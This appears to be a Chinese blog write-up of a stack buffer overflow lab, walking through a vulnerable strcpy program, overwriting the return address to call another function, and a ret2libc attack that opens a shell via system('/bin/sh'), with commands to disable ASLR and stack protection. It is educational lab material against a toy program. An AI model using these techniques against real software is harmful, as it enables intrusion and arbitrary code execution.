32数组溢出怎么解决_缓冲区溢出实验

缓冲区溢出实验

实验环境

系统环境:
     Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-176-generic x86_64)
 其他环境:
     gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12)
     GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1

栈缓冲区溢出

  • 原理

漏洞代码:

#include <stdio.h>
#include <string.h>
char buffer[] = "01234567890123456789========ABCD";
void foo1(){printf("You are attacked!n");}
void foo()
{
   char buff[16];
   strcpy (buff, buffer);
}
int main(int argc, char * argv[])
{
   foo();
   return 0;
}

可以很明显的看出漏洞在strcpy函数处:buffer数组的大小已经超过16个字节。

62354069ca536f84108f11167c546ce0.png

上图时程序运行时内存结构图,其中代码区存放c程序代码,静态数据区存放全局变量buffer数组,动态数据区存放临时变量,寄存器ebp指向栈底,寄存器esp指向栈顶,寄存器eip指向下一条需要执行的代码。

当程序运行到foo函数中的strcpy(buff, buffer)之前时,此时程序运行时内存结构如下图。

4d0fd713143da1dff296fb825b3cf449.png

执行strcpy(buff, buffer)后,buffer数组中的数据会填充到buff中,但很明显buff开辟的16字节空间不够,那么剩余内容将会继续向上填充,如下图所示。

234f1ec623e2735a7a7781b3050b7a8d.png

此时,当foo函数运行完,返回main函数时,发现之前保存的foo函数返回地址被修改了,此时栈顶寄存器esp的高16位为ABCD,esp将把ABCD传给eip,但ABCD为非法地址,程序报错。

24fa40fef96908abda4acd4d62ccafdb.png
  • 运行结果

在打开数据执行保护机制下运行。

8815f33a51fc652cc5d8f11bd031459e.png

在关闭数据执行保护机制下运行,首先需要关闭ASLR。

echo 0 > /proc/sys/kernel/randomize_va_space

然后运行代码并打开gdb调试。

gcc -Wall -g -o h h.c -fno-stack-protector -m32 //-m32寄存器为32位
gdb h

在foo函数的ret处设置断点,查看此时esp值,值为0x44434241,转换为十进制为DCBA。

baa4b224c1d7575650b782e4254fdfb7.png

esp将值传给eip,eip跳转到下一条指令位置,但ABCD是非法地址,所以程序报错。

734eef5f538e21b4130f59d82eecbf39.png
  • 攻击结果

但是如果ABCD处的值是合法地址呢,此时将漏洞代码改成攻击代码。

#include <stdio.h>
#include <string.h>
char buffer[] = "01234567890123456789========x3bx84x04x08";
void foo1(){printf("You are attacked!n");}
void foo()
{
   char buff[16];
   strcpy (buff, buffer);
}
int main(int argc, char * argv[])
{
   foo();
   return 0;
}

首先通过gdb查看foo1函数首地址。

e9f37f04419c822e65bdd7eee72ec144.png

然后将刚才漏洞代码中ABCD位置改为foo1函数首地址。

94b6d8f2bb2d8b04f29bba0e4dc20d46.png

运行结果如下图,我们可以发现输出You are attacked!即程序运行了foo1函数。

04dab2810df88be6e0fde7bec19ed5cc.png

ret2libc——return to libc

libc中有大量的库函数,ret2libc通过找到libc中函数执行,而绕过了数据不可执行的问题。

攻击原理同上面栈缓冲区溢出相似,构造buffer数组,通过把函数返回地址直接指向系统库中的函数,这里以system("/bin/sh")为例,通过攻击代码打开一个bash。

攻击代码如下:

#include <stdio.h>
#include <string.h>

char buffer[] = "01234567890123456789========xa0xcdxe4xf7xd0x09xe4xf7xa0xd8xffxff";
void foo()
{
   char buff[16];
   strcpy (buff, buffer);
}
int main(int argc, char * argv[])
{
   foo();
   return 0;
}

在打开数据执行保护机制下运行。

252fb3d6de201c2b9b52d08465b00032.png

在关闭数据执行保护机制下运行,首先需要关闭ASLR。

echo 0 > /proc/sys/kernel/randomize_va_space

然后运行代码并打开gdb调试。

gcc -Wall -g -o ret2lic ret2lic.c -fno-stack-protector -m32
gdb ret2lic

根据上一个实验,我们已经知道返回值是ABCD处,所以只要将system地址和/bin/sh地址覆盖ABCD就可以了。

d3a9c1899af9dfff050bd1200233a7ec.png
  1. 先确定system和exit的地址。

d4786bea9bbf2745f1e907a2f2534da3.png

2. 再查找/bin/sh地址,键入命令x/500s $esp,直至找到"SHELL=/bin/bash"地址并提取/bin/bash字符串地址。

8cfa4c579c6501b15bbcaed136af8752.png

9e29de00d580c15e748e7f30c2b54968.png

3. 组合buffer数组。

填充字符 + system_addr + exit_addr + binsh_addr
char buffer[] = "01234567890123456789========xa0xcdxe4xf7xd0x09xe4xf7xa0xd8xffxff";

运行结果如下图。

cd576b6ae7dca6ed38b71ba27949c5d4.png

成功打开一个bash。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值